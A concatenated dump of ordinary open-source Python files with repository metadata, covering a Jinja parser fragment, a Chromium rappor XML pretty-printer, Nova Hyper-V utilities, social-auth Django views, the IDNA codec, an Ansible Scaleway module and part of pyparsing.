self.stream.expect('block_end')
else:
raise AssertionError('internal parsing error')
flush_data()
finally:
if end_tokens is not None:
self._end_token_stack.pop()
return body
def parse(self):
"""Parse the whole template into a `Template` node."""
result = nodes.Template(self.subparse(), lineno=1)
result.set_environment(self.environment)
return result
|
gpl-3.0
|
CTSRD-SOAAP/chromium-42.0.2311.135
|
tools/metrics/rappor/pretty_print.py
|
6
|
4494
|
#!/usr/bin/env python
# Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import logging
import sys
import os
# Import the metrics/common module for pretty print xml.
sys.path.append(os.path.join(os.path.dirname(__file__), '..', 'common'))
import models
import presubmit_util
# Model definitions for rappor.xml content
_SUMMARY_TYPE = models.TextNodeType('summary')
_PARAMETERS_TYPE = models.ObjectNodeType('parameters',
int_attributes=[
'num-cohorts',
'bytes',
'hash-functions',
],
float_attributes=[
'fake-prob',
'fake-one-prob',
'one-coin-prob',
'zero-coin-prob',
],
string_attributes=[
'reporting-level'
])
_RAPPOR_PARAMETERS_TYPE = models.ObjectNodeType('rappor-parameters',
extra_newlines=(1, 1, 1),
string_attributes=['name'],
children=[
models.ChildType('summary', _SUMMARY_TYPE, False),
models.ChildType('parameters', _PARAMETERS_TYPE, False),
])
_RAPPOR_PARAMETERS_TYPES_TYPE = models.ObjectNodeType('rappor-parameter-types',
extra_newlines=(1, 1, 1),
dont_indent=True,
children=[
models.ChildType('types', _RAPPOR_PARAMETERS_TYPE, True),
])
_OWNER_TYPE = models.TextNodeType('owner', single_line=True)
_RAPPOR_METRIC_TYPE = models.ObjectNodeType('rappor-metric',
extra_newlines=(1, 1, 1),
string_attributes=['name', 'type'],
children=[
models.ChildType('owners', _OWNER_TYPE, True),
models.ChildType('summary', _SUMMARY_TYPE, False),
])
_RAPPOR_METRICS_TYPE = models.ObjectNodeType('rappor-metrics',
extra_newlines=(1, 1, 1),
dont_indent=True,
children=[
models.ChildType('metrics', _RAPPOR_METRIC_TYPE, True),
])
_RAPPOR_CONFIGURATION_TYPE = models.ObjectNodeType('rappor-configuration',
extra_newlines=(1, 1, 1),
dont_indent=True,
children=[
models.ChildType('parameterTypes', _RAPPOR_PARAMETERS_TYPES_TYPE, False),
models.ChildType('metrics', _RAPPOR_METRICS_TYPE, False),
])
RAPPOR_XML_TYPE = models.DocumentType(_RAPPOR_CONFIGURATION_TYPE)
def GetTypeNames(config):
return set(p['name'] for p in config['parameterTypes']['types'])
def HasMissingOwners(metrics):
"""Check that all of the metrics have owners.
Args:
metrics: A list of rappor metric description objects.
Returns:
True iff some metrics are missing owners.
"""
missing_owners = [m for m in metrics if not m['owners']]
for metric in missing_owners:
logging.error('Rappor metric "%s" is missing an owner.', metric['name'])
print metric
return bool(missing_owners)
def HasInvalidTypes(type_names, metrics):
"""Check that all of the metrics have valid types.
Args:
type_names: The set of valid type names.
metrics: A list of rappor metric description objects.
Returns:
True iff some metrics have invalid types.
"""
invalid_types = [m for m in metrics if m['type'] not in type_names]
for metric in invalid_types:
logging.error('Rappor metric "%s" has invalid type "%s"',
metric['name'], metric['type'])
return bool(invalid_types)
def HasErrors(config):
"""Check that rappor.xml passes some basic validation checks.
Args:
config: The parsed rappor.xml contents.
Returns:
True iff there are validation errors.
"""
metrics = config['metrics']['metrics']
type_names = GetTypeNames(config)
return (HasMissingOwners(metrics) or
HasInvalidTypes(type_names, metrics))
def Cleanup(config):
"""Preform cleanup on description contents, such as sorting metrics.
Args:
config: The parsed rappor.xml contents.
"""
types = config['parameterTypes']['types']
types.sort(key=lambda x: x['name'])
metrics = config['metrics']['metrics']
metrics.sort(key=lambda x: x['name'])
def UpdateXML(original_xml):
"""Parse the original xml and return a pretty printed version.
Args:
original_xml: A string containing the original xml file contents.
Returns:
A Pretty printed xml string.
"""
comments, config = RAPPOR_XML_TYPE.Parse(original_xml)
if HasErrors(config):
return None
Cleanup(config)
return RAPPOR_XML_TYPE.PrettyPrint(comments, config)
def main(argv):
presubmit_util.DoPresubmitMain(argv, 'rappor.xml', 'rappor.old.xml',
'pretty_print.py', UpdateXML)
if '__main__' == __name__:
sys.exit(main(sys.argv))
|
bsd-3-clause
|
badock/nova
|
nova/virt/hyperv/utilsfactory.py
|
23
|
3635
|
# Copyright 2013 Cloudbase Solutions Srl
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from oslo.config import cfg
from nova.i18n import _
from nova.openstack.common import log as logging
from nova.virt.hyperv import hostutils
from nova.virt.hyperv import livemigrationutils
from nova.virt.hyperv import networkutils
from nova.virt.hyperv import networkutilsv2
from nova.virt.hyperv import pathutils
from nova.virt.hyperv import rdpconsoleutils
from nova.virt.hyperv import rdpconsoleutilsv2
from nova.virt.hyperv import vhdutils
from nova.virt.hyperv import vhdutilsv2
from nova.virt.hyperv import vmutils
from nova.virt.hyperv import vmutilsv2
from nova.virt.hyperv import volumeutils
from nova.virt.hyperv import volumeutilsv2
hyper_opts = [
cfg.BoolOpt('force_hyperv_utils_v1',
default=False,
help='Force V1 WMI utility classes'),
cfg.BoolOpt('force_volumeutils_v1',
default=False,
help='Force V1 volume utility class'),
]
CONF = cfg.CONF
CONF.register_opts(hyper_opts, 'hyperv')
LOG = logging.getLogger(__name__)
def _get_class(v1_class, v2_class, force_v1_flag):
# V2 classes are supported starting from Hyper-V Server 2012 and
# Windows Server 2012 (kernel version 6.2)
if not force_v1_flag and get_hostutils().check_min_windows_version(6, 2):
cls = v2_class
else:
cls = v1_class
LOG.debug("Loading class: %(module_name)s.%(class_name)s",
{'module_name': cls.__module__, 'class_name': cls.__name__})
return cls
def _get_virt_utils_class(v1_class, v2_class):
# The "root/virtualization" WMI namespace is no longer supported on
# Windows Server / Hyper-V Server 2012 R2 / Windows 8.1
# (kernel version 6.3) or above.
if (CONF.hyperv.force_hyperv_utils_v1 and
get_hostutils().check_min_windows_version(6, 3)):
raise vmutils.HyperVException(
_('The "force_hyperv_utils_v1" option cannot be set to "True" '
'on Windows Server / Hyper-V Server 2012 R2 or above as the WMI '
'"root/virtualization" namespace is no longer supported.'))
return _get_class(v1_class, v2_class, CONF.hyperv.force_hyperv_utils_v1)
def get_vmutils(host='.'):
return _get_virt_utils_class(vmutils.VMUtils, vmutilsv2.VMUtilsV2)(host)
def get_vhdutils():
return _get_virt_utils_class(vhdutils.VHDUtils, vhdutilsv2.VHDUtilsV2)()
def get_networkutils():
return _get_virt_utils_class(networkutils.NetworkUtils,
networkutilsv2.NetworkUtilsV2)()
def get_hostutils():
return hostutils.HostUtils()
def get_pathutils():
return pathutils.PathUtils()
def get_volumeutils():
return _get_class(volumeutils.VolumeUtils, volumeutilsv2.VolumeUtilsV2,
CONF.hyperv.force_volumeutils_v1)()
def get_livemigrationutils():
return livemigrationutils.LiveMigrationUtils()
def get_rdpconsoleutils():
return _get_virt_utils_class(rdpconsoleutils.RDPConsoleUtils,
rdpconsoleutilsv2.RDPConsoleUtilsV2)()
|
apache-2.0
|
joelstanner/python-social-auth
|
examples/django_me_example/example/app/views.py
|
111
|
2194
|
import json
from django.conf import settings
from django.http import HttpResponse, HttpResponseBadRequest
from django.shortcuts import redirect
from django.contrib.auth.decorators import login_required
from django.contrib.auth import logout as auth_logout, login
from social.backends.oauth import BaseOAuth1, BaseOAuth2
from social.backends.google import GooglePlusAuth
from social.backends.utils import load_backends
from social.apps.django_app.utils import psa
from example.app.decorators import render_to
def logout(request):
"""Logs out user"""
auth_logout(request)
return redirect('/')
def context(**extra):
return dict({
'plus_id': getattr(settings, 'SOCIAL_AUTH_GOOGLE_PLUS_KEY', None),
'plus_scope': ' '.join(GooglePlusAuth.DEFAULT_SCOPE),
'available_backends': load_backends(settings.AUTHENTICATION_BACKENDS)
}, **extra)
@render_to('home.html')
def home(request):
"""Home view, displays login mechanism"""
if request.user.is_authenticated():
return redirect('done')
return context()
@login_required
@render_to('home.html')
def done(request):
"""Login complete view, displays user data"""
return context()
@render_to('home.html')
def validation_sent(request):
return context(
validation_sent=True,
email=request.session.get('email_validation_address')
)
@render_to('home.html')
def require_email(request):
backend = request.session['partial_pipeline']['backend']
return context(email_required=True, backend=backend)
@psa('social:complete')
def ajax_auth(request, backend):
if isinstance(request.backend, BaseOAuth1):
token = {
'oauth_token': request.REQUEST.get('access_token'),
'oauth_token_secret': request.REQUEST.get('access_token_secret'),
}
elif isinstance(request.backend, BaseOAuth2):
token = request.REQUEST.get('access_token')
else:
raise HttpResponseBadRequest('Wrong backend type')
user = request.backend.do_auth(token, ajax=True)
login(request, user)
data = {'id': user.id, 'username': user.username}
return HttpResponse(json.dumps(data), mimetype='application/json')
|
bsd-3-clause
|
edmundgentle/schoolscript
|
SchoolScript/bin/Debug/pythonlib/Lib/encodings/idna.py
|
3
|
8783
|
# This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep)
import stringprep, re, codecs
from unicodedata import ucd_3_2_0 as unicodedata
# IDNA section 3.1
dots = re.compile("[\u002E\u3002\uFF0E\uFF61]")
# IDNA section 5
ace_prefix = b"xn--"
sace_prefix = "xn--"
# This assumes query strings, so AllowUnassigned is true
def nameprep(label):
# Map
newlabel = []
for c in label:
if stringprep.in_table_b1(c):
# Map to nothing
continue
newlabel.append(stringprep.map_table_b2(c))
label = "".join(newlabel)
# Normalize
label = unicodedata.normalize("NFKC", label)
# Prohibit
for c in label:
if stringprep.in_table_c12(c) or \
stringprep.in_table_c22(c) or \
stringprep.in_table_c3(c) or \
stringprep.in_table_c4(c) or \
stringprep.in_table_c5(c) or \
stringprep.in_table_c6(c) or \
stringprep.in_table_c7(c) or \
stringprep.in_table_c8(c) or \
stringprep.in_table_c9(c):
raise UnicodeError("Invalid character %r" % c)
# Check bidi
RandAL = [stringprep.in_table_d1(x) for x in label]
for c in RandAL:
if c:
# There is a RandAL char in the string. Must perform further
# tests:
# 1) The characters in section 5.8 MUST be prohibited.
# This is table C.8, which was already checked
# 2) If a string contains any RandALCat character, the string
# MUST NOT contain any LCat character.
if any(stringprep.in_table_d2(x) for x in label):
raise UnicodeError("Violation of BIDI requirement 2")
# 3) If a string contains any RandALCat character, a
# RandALCat character MUST be the first character of the
# string, and a RandALCat character MUST be the last
# character of the string.
if not RandAL[0] or not RandAL[-1]:
raise UnicodeError("Violation of BIDI requirement 3")
return label
def ToASCII(label):
try:
# Step 1: try ASCII
label = label.encode("ascii")
except UnicodeError:
pass
else:
# Skip to step 3: UseSTD3ASCIIRules is false, so
# Skip to step 8.
if 0 < len(label) < 64:
return label
raise UnicodeError("label empty or too long")
# Step 2: nameprep
label = nameprep(label)
# Step 3: UseSTD3ASCIIRules is false
# Step 4: try ASCII
try:
label = label.encode("ascii")
except UnicodeError:
pass
else:
# Skip to step 8.
if 0 < len(label) < 64:
return label
raise UnicodeError("label empty or too long")
# Step 5: Check ACE prefix
if label.startswith(sace_prefix):
raise UnicodeError("Label starts with ACE prefix")
# Step 6: Encode with PUNYCODE
label = label.encode("punycode")
# Step 7: Prepend ACE prefix
label = ace_prefix + label
# Step 8: Check size
if 0 < len(label) < 64:
return label
raise UnicodeError("label empty or too long")
def ToUnicode(label):
# Step 1: Check for ASCII
if isinstance(label, bytes):
pure_ascii = True
else:
try:
label = label.encode("ascii")
pure_ascii = True
except UnicodeError:
pure_ascii = False
if not pure_ascii:
# Step 2: Perform nameprep
label = nameprep(label)
# It doesn't say this, but apparently, it should be ASCII now
try:
label = label.encode("ascii")
except UnicodeError:
raise UnicodeError("Invalid character in IDN label")
# Step 3: Check for ACE prefix
if not label.startswith(ace_prefix):
return str(label, "ascii")
# Step 4: Remove ACE prefix
label1 = label[len(ace_prefix):]
# Step 5: Decode using PUNYCODE
result = label1.decode("punycode")
# Step 6: Apply ToASCII
label2 = ToASCII(result)
# Step 7: Compare the result of step 6 with the one of step 3
# label2 will already be in lower case.
if str(label, "ascii").lower() != str(label2, "ascii"):
raise UnicodeError("IDNA does not round-trip", label, label2)
# Step 8: return the result of step 5
return result
### Codec APIs
class Codec(codecs.Codec):
def encode(self, input, errors='strict'):
if errors != 'strict':
# IDNA is quite clear that implementations must be strict
raise UnicodeError("unsupported error handling "+errors)
if not input:
return b'', 0
result = bytearray()
labels = dots.split(input)
if labels and not labels[-1]:
trailing_dot = b'.'
del labels[-1]
else:
trailing_dot = b''
for label in labels:
if result:
# Join with U+002E
result.extend(b'.')
result.extend(ToASCII(label))
return bytes(result+trailing_dot), len(input)
def decode(self, input, errors='strict'):
if errors != 'strict':
raise UnicodeError("Unsupported error handling "+errors)
if not input:
return "", 0
# IDNA allows decoding to operate on Unicode strings, too.
if not isinstance(input, bytes):
# XXX obviously wrong, see #3232
input = bytes(input)
labels = input.split(b".")
if labels and len(labels[-1]) == 0:
trailing_dot = '.'
del labels[-1]
else:
trailing_dot = ''
result = []
for label in labels:
result.append(ToUnicode(label))
return ".".join(result)+trailing_dot, len(input)
class IncrementalEncoder(codecs.BufferedIncrementalEncoder):
def _buffer_encode(self, input, errors, final):
if errors != 'strict':
# IDNA is quite clear that implementations must be strict
raise UnicodeError("unsupported error handling "+errors)
if not input:
return (b'', 0)
labels = dots.split(input)
trailing_dot = b''
if labels:
if not labels[-1]:
trailing_dot = b'.'
del labels[-1]
elif not final:
# Keep potentially unfinished label until the next call
del labels[-1]
if labels:
trailing_dot = b'.'
result = bytearray()
size = 0
for label in labels:
if size:
# Join with U+002E
result.extend(b'.')
size += 1
result.extend(ToASCII(label))
size += len(label)
result += trailing_dot
size += len(trailing_dot)
return (bytes(result), size)
class IncrementalDecoder(codecs.BufferedIncrementalDecoder):
def _buffer_decode(self, input, errors, final):
if errors != 'strict':
raise UnicodeError("Unsupported error handling "+errors)
if not input:
return ("", 0)
# IDNA allows decoding to operate on Unicode strings, too.
if isinstance(input, str):
labels = dots.split(input)
else:
# Must be ASCII string
input = str(input, "ascii")
labels = input.split(".")
trailing_dot = ''
if labels:
if not labels[-1]:
trailing_dot = '.'
del labels[-1]
elif not final:
# Keep potentially unfinished label until the next call
del labels[-1]
if labels:
trailing_dot = '.'
result = []
size = 0
for label in labels:
result.append(ToUnicode(label))
if size:
size += 1
size += len(label)
result = ".".join(result) + trailing_dot
size += len(trailing_dot)
return (result, size)
class StreamWriter(Codec,codecs.StreamWriter):
pass
class StreamReader(Codec,codecs.StreamReader):
pass
### encodings module API
def getregentry():
return codecs.CodecInfo(
name='idna',
encode=Codec().encode,
decode=Codec().decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamwriter=StreamWriter,
streamreader=StreamReader,
)
|
gpl-2.0
|
trondhindenes/ansible
|
lib/ansible/modules/cloud/scaleway/scaleway_security_group_facts.py
|
48
|
2816
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# (c) 2018, Yanis Guenane <[email protected]>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'}
DOCUMENTATION = r'''
---
module: scaleway_security_group_facts
short_description: Gather facts about the Scaleway security groups available.
description:
- Gather facts about the Scaleway security groups available.
version_added: "2.7"
author:
- "Yanis Guenane (@Spredzy)"
- "Remy Leone (@sieben)"
options:
region:
version_added: "2.8"
description:
- Scaleway region to use (for example par1).
required: true
choices:
- ams1
- EMEA-NL-EVS
- par1
- EMEA-FR-PAR1
extends_documentation_fragment: scaleway
'''
EXAMPLES = r'''
- name: Gather Scaleway security groups facts
scaleway_security_group_facts:
region: par1
'''
RETURN = r'''
---
scaleway_security_group_facts:
description: Response from Scaleway API
returned: success
type: complex
contains:
"scaleway_security_group_facts": [
{
"description": "test-ams",
"enable_default_security": true,
"id": "7fcde327-8bed-43a6-95c4-6dfbc56d8b51",
"name": "test-ams",
"organization": "3f709602-5e6c-4619-b80c-e841c89734af",
"organization_default": false,
"servers": [
{
"id": "12f19bc7-108c-4517-954c-e6b3d0311363",
"name": "scw-e0d158"
}
]
}
]
'''
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.scaleway import (
Scaleway,
ScalewayException,
scaleway_argument_spec,
SCALEWAY_LOCATION,
)
class ScalewaySecurityGroupFacts(Scaleway):
def __init__(self, module):
super(ScalewaySecurityGroupFacts, self).__init__(module)
self.name = 'security_groups'
region = module.params["region"]
self.module.params['api_url'] = SCALEWAY_LOCATION[region]["api_endpoint"]
def main():
argument_spec = scaleway_argument_spec()
argument_spec.update(dict(
region=dict(required=True, choices=SCALEWAY_LOCATION.keys()),
))
module = AnsibleModule(
argument_spec=argument_spec,
supports_check_mode=True,
)
try:
module.exit_json(
ansible_facts={'scaleway_security_group_facts': ScalewaySecurityGroupFacts(module).get_resources()}
)
except ScalewayException as exc:
module.fail_json(msg=exc.message)
if __name__ == '__main__':
main()
|
gpl-3.0
|
fergalbyrne/nupic
|
external/linux32/lib/python2.6/site-packages/matplotlib/pyparsing.py
|
72
|
143924
|
# module pyparsing.py
#
# Copyright (c) 2003-2008 Paul T. McGuire
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
#from __future__ import generators
__doc__ = \
"""
pyparsing module - Classes and methods to define and execute parsing grammars
The pyparsing module is an alternative approach to creating and executing simple grammars,
vs. the traditional lex/yacc approach, or the use of regular expressions. With pyparsing, you
don't need to learn a new syntax for defining grammars or matching expressions - the parsing module
provides a library of classes that you use to construct the grammar directly in Python.
Here is a program to parse "Hello, World!" (or any greeting of the form "<salutation>, <addressee>!")::
from pyparsing import Word, alphas
# define grammar of a greeting
greet = Word( alphas ) + "," + Word( alphas ) + "!"
hello = "Hello, World!"
print hello, "->", greet.parseString( hello )
The program outputs the following::
Hello, World! -> ['Hello', ',', 'World', '!']
The Python representation of the grammar is quite readable, owing to the self-explanatory
class names, and the use of '+', '|' and '^' operators.
The parsed results returned from parseString() can be accessed as a nested list, a dictionary, or an
object with named attributes.
The pyparsing module handles some of the problems that are typically vexing when writing text parsers:
- extra or missing whitespace (the above program will also handle "Hello,World!", "Hello , World !", etc.)
- quoted strings
- embedded comments
"""
__version__ = "1.5.0"
__versionTime__ = "28 May 2008 10:05"
__author__ = "Paul McGuire <[email protected]>"
import string
from weakref import ref as wkref
import copy,sys
import warnings
import re
import sre_constants
import xml.sax.saxutils
#~ sys.stderr.write( "testing pyparsing module, version %s, %s\n" % (__version__,__versionTime__ ) )
__all__ = [
'And', 'CaselessKeyword', 'CaselessLiteral', 'CharsNotIn', 'Combine', 'Dict', 'Each', 'Empty',
'FollowedBy', 'Forward', 'GoToColumn', 'Group', 'Keyword', 'LineEnd', 'LineStart', 'Literal',
'MatchFirst', 'NoMatch', 'NotAny', 'OneOrMore', 'OnlyOnce', 'Optional', 'Or',
'ParseBaseException', 'ParseElementEnhance', 'ParseException', 'ParseExpression', 'ParseFatalException',
'ParseResults', 'ParseSyntaxException', 'ParserElement', 'QuotedString', 'RecursiveGrammarException',
'Regex', 'SkipTo', 'StringEnd', 'StringStart', 'Suppress', 'Token', 'TokenConverter', 'Upcase',
'White', 'Word', 'WordEnd', 'WordStart', 'ZeroOrMore',
'alphanums', 'alphas', 'alphas8bit', 'anyCloseTag', 'anyOpenTag', 'cStyleComment', 'col',
'commaSeparatedList', 'commonHTMLEntity', 'countedArray', 'cppStyleComment', 'dblQuotedString',
'dblSlashComment', 'delimitedList', 'dictOf', 'downcaseTokens', 'empty', 'getTokensEndLoc', 'hexnums',
'htmlComment', 'javaStyleComment', 'keepOriginalText', 'line', 'lineEnd', 'lineStart', 'lineno',
'makeHTMLTags', 'makeXMLTags', 'matchOnlyAtCol', 'matchPreviousExpr', 'matchPreviousLiteral',
'nestedExpr', 'nullDebugAction', 'nums', 'oneOf', 'opAssoc', 'operatorPrecedence', 'printables',
'punc8bit', 'pythonStyleComment', 'quotedString', 'removeQuotes', 'replaceHTMLEntity',
'replaceWith', 'restOfLine', 'sglQuotedString', 'srange', 'stringEnd',
'stringStart', 'traceParseAction', 'unicodeString', 'upcaseTokens', 'withAttribute',
'indentedBlock',
]
"""
Detect if we are running version 3.X and make appropriate changes
Robert A. Clark
"""
if sys.version_info[0] > 2:
_PY3K = True
_MAX_INT = sys.maxsize
basestring = str
else:
_PY3K = False
_MAX_INT = sys.maxint
if not _PY3K:
def _ustr(obj):
"""Drop-in replacement for str(obj) that tries to be Unicode friendly. It first tries
str(obj). If that fails with a UnicodeEncodeError, then it tries unicode(obj). It
then < returns the unicode object | encodes it with the default encoding | ... >.
"""
try:
# If this works, then _ustr(obj) has the same behaviour as str(obj), so
# it won't break any existing code.
return str(obj)
except UnicodeEncodeError:
# The Python docs (http://docs.python.org/ref/customization.html#l2h-182)
# state that "The return value must be a string object". However, does a
# unicode object (being a subclass of basestring) count as a "string
# object"?
# If so, then return a unicode object:
return unicode(obj)
# Else encode it... but how? There are many choices... :)
# Replace unprintables with escape codes?
#return unicode(obj).encode(sys.getdefaultencoding(), 'backslashreplace_errors')
# Replace unprintables with question marks?
#return unicode(obj).encode(sys.getdefaultencoding(), 'replace')
# ...
else:
_ustr = str
def _str2dict(strg):
return dict( [(c,0) for c in strg] )
#~ return set( [c for c in strg] )
class _Constants(object):
pass
if not _PY3K:
alphas = string.lowercase + string.uppercase
else:
alphas = string.ascii_lowercase + string.ascii_uppercase
nums = string.digits
hexnums = nums + "ABCDEFabcdef"
alphanums = alphas + nums
_bslash = "\\"
printables = "".join( [ c for c in string.printable if c not in string.whitespace ] )
class ParseBaseException(Exception):
"""base exception class for all parsing runtime exceptions"""
__slots__ = ( "loc","msg","pstr","parserElement" )
# Performance tuning: we construct a *lot* of these, so keep this
# constructor as small and fast as possible
def __init__( self, pstr, loc=0, msg=None, elem=None ):
self.loc = loc
if msg is None:
self.msg = pstr
self.pstr = ""
else:
self.msg = msg
self.pstr = pstr
self.parserElement = elem
def __getattr__( self, aname ):
"""supported attributes by name are:
- lineno - returns the line number of the exception text
- col - returns the column number of the exception text
- line - returns the line containing the exception text
"""
if( aname == "lineno" ):
return lineno( self.loc, self.pstr )
elif( aname in ("col", "column") ):
return col( self.loc, self.pstr )
elif( aname == "line" ):
return line( self.loc, self.pstr )
else:
raise AttributeError(aname)
def __str__( self ):
return "%s (at char %d), (line:%d, col:%d)" % \
( self.msg, self.loc, self.lineno, self.column )
def __repr__( self ):
return _ustr(self)
def markInputline( self, markerString = ">!<" ):
"""Extracts the exception line from the input string, and marks
the location of the exception with a special symbol.
"""
line_str = self.line
line_column = self.column - 1
if markerString:
line_str = "".join( [line_str[:line_column],
markerString, line_str[line_column:]])
return line_str.strip()
class ParseException(ParseBaseException):
"""exception thrown when parse expressions don't match class;
supported attributes by name are:
- lineno - returns the line number of the exception text
- col - returns the column number of the exception text
- line - returns the line containing the exception text
"""
pass
class ParseFatalException(ParseBaseException):
"""user-throwable exception thrown when inconsistent parse content
is found; stops all parsing immediately"""
pass
class ParseSyntaxException(ParseFatalException):
"""just like ParseFatalException, but thrown internally when an
ErrorStop indicates that parsing is to stop immediately because
an unbacktrackable syntax error has been found"""
def __init__(self, pe):
ParseFatalException.__init__(self, pe.pstr, pe.loc, pe.msg, pe.parserElement)
#~ class ReparseException(ParseBaseException):
#~ """Experimental class - parse actions can raise this exception to cause
#~ pyparsing to reparse the input string:
#~ - with a modified input string, and/or
#~ - with a modified start location
#~ Set the values of the ReparseException in the constructor, and raise the
#~ exception in a parse action to cause pyparsing to use the new string/location.
#~ Setting the values as None causes no change to be made.
#~ """
#~ def __init_( self, newstring, restartLoc ):
#~ self.newParseText = newstring
#~ self.reparseLoc = restartLoc
class RecursiveGrammarException(Exception):
"""exception thrown by validate() if the grammar could be improperly recursive"""
def __init__( self, parseElementList ):
self.parseElementTrace = parseElementList
def __str__( self ):
return "RecursiveGrammarException: %s" % self.parseElementTrace
class _ParseResultsWithOffset(object):
def __init__(self,p1,p2):
self.tup = (p1,p2)
def __getitem__(self,i):
return self.tup[i]
def __repr__(self):
return repr(self.tup)
class ParseResults(object):
"""Structured parse results, to provide multiple means of access to the parsed data:
- as a list (len(results))
- by list index (results[0], results[1], etc.)
- by attribute (results.<resultsName>)
"""
__slots__ = ( "__toklist", "__tokdict", "__doinit", "__name", "__parent", "__accumNames", "__weakref__" )
def __new__(cls, toklist, name=None, asList=True, modal=True ):
if isinstance(toklist, cls):
return toklist
retobj = object.__new__(cls)
retobj.__doinit = True
return retobj
# Performance tuning: we construct a *lot* of these, so keep this
# constructor as small and fast as possible
def __init__( self, toklist, name=None, asList=True, modal=True ):
if self.__doinit:
self.__doinit = False
self.__name = None
self.__parent = None
self.__accumNames = {}
if isinstance(toklist, list):
self.__toklist = toklist[:]
else:
self.__toklist = [toklist]
self.__tokdict = dict()
# this line is related to debugging the asXML bug
#~ asList = False
if name:
if not modal:
self.__accumNames[name] = 0
if isinstance(name,int):
name = _ustr(name) # will always return a str, but use _ustr for consistency
self.__name = name
if not toklist in (None,'',[]):
if isinstance(toklist,basestring):
toklist = [ toklist ]
if asList:
if isinstance(toklist,ParseResults):
self[name] = _ParseResultsWithOffset(toklist.copy(),-1)
else:
self[name] = _ParseResultsWithOffset(ParseResults(toklist[0]),-1)
self[name].__name = name
else:
try:
self[name] = toklist[0]
except (KeyError,TypeError):
self[name] = toklist
def __getitem__( self, i ):
if isinstance( i, (int,slice) ):
return self.__toklist[i]
else:
if i not in self.__accumNames:
return self.__tokdict[i][-1][0]
else:
return ParseResults([ v[0] for v in self.__tokdict[i] ])
def __setitem__( self, k, v ):
if isinstance(v,_ParseResultsWithOffset):
self.__tokdict[k] = self.__tokdict.get(k,list()) + [v]
sub = v[0]
elif isinstance(k,int):
self.__toklist[k] = v
sub = v
else:
self.__tokdict[k] = self.__tokdict.get(k,list()) + [_ParseResultsWithOffset(v,0)]
sub = v
if isinstance(sub,ParseResults):
sub.__parent = wkref(self)
def __delitem__( self, i ):
if isinstance(i,(int,slice)):
mylen = len( self.__toklist )
del self.__toklist[i]
# convert int to slice
if isinstance(i, int):
if i < 0:
i += mylen
i = slice(i, i+1)
# get removed indices
removed = list(range(*i.indices(mylen)))
removed.reverse()
# fixup indices in token dictionary
for name in self.__tokdict:
occurrences = self.__tokdict[name]
for j in removed:
for k, (value, position) in enumerate(occurrences):
occurrences[k] = _ParseResultsWithOffset(value, position - (position > j))
else:
del self.__tokdict[i]
def __contains__( self, k ):
return k in self.__tokdict
def __len__( self ): return len( self.__toklist )
def __bool__(self): return len( self.__toklist ) > 0
__nonzero__ = __bool__
def __iter__( self ): return iter( self.__toklist )
def __reversed__( self ): return iter( reversed(self.__toklist) )
def keys( self ):
"""Returns all named result keys."""
return self.__tokdict.keys()
def pop( self, index=-1 ):
"""Removes and returns item at specified index (default=last).
Will work with either numeric indices or dict-key indicies."""
ret = self[index]
del self[index]
return ret
def get(self, key, defaultValue=None):
"""Returns named result matching the given key, or if there is no
such name, then returns the given defaultValue or None if no
defaultValue is specified."""
if key in self:
return self[key]
else:
return defaultValue
def insert( self, index, insStr ):
self.__toklist.insert(index, insStr)
# fixup indices in token dictionary
for name in self.__tokdict:
occurrences = self.__tokdict[name]
for k, (value, position) in enumerate(occurrences):
occurrences[k] = _ParseResultsWithOffset(value, position + (position > j))
def items( self ):
"""Returns all named result keys and values as a list of tuples."""
return [(k,self[k]) for k in self.__tokdict]
def values( self ):
"""Returns all named result values."""
return [ v[-1][0] for v in self.__tokdict.values() ]
def __getattr__( self, name ):
if name not in self.__slots__:
if name in self.__tokdict:
if name not in self.__accumNames:
return self.__tokdict[name][-1][0]
else:
return ParseResults([ v[0] for v in self.__tokdict[name] ])
else:
return ""
return None
def __add__( self, other ):
ret = self.copy()
ret += other
return ret
def __iadd__( self, other ):
if other.__tokdict:
offset = len(self.__toklist)
addoffset = ( lambda a: (a<0 and offset) or (a+offset) )
otheritems = other.__tokdict.items()
otherdictitems = [(k, _ParseResultsWithOffset(v[0],addoffset(v[1])) )
for (k,vlist) in otheritems for v in vlist]
for k,v in otherdictitems:
self[k] = v
if isinstance(v[0],ParseResults):
v[0].__parent = wkref(self)
self.__toklist += other.__toklist
self.__accumNames.update( other.__accumNames )
del other
return self
def __repr__( self ):
return "(%s, %s)" % ( repr( self.__toklist ), repr( self.__tokdict ) )
def __str__( self ):
out = "["
sep = ""
for i in self.__toklist:
if isinstance(i, ParseResults):
out += sep + _ustr(i)
else:
out += sep + repr(i)
sep = ", "
out += "]"
return out
def _asStringList( self, sep='' ):
out = []
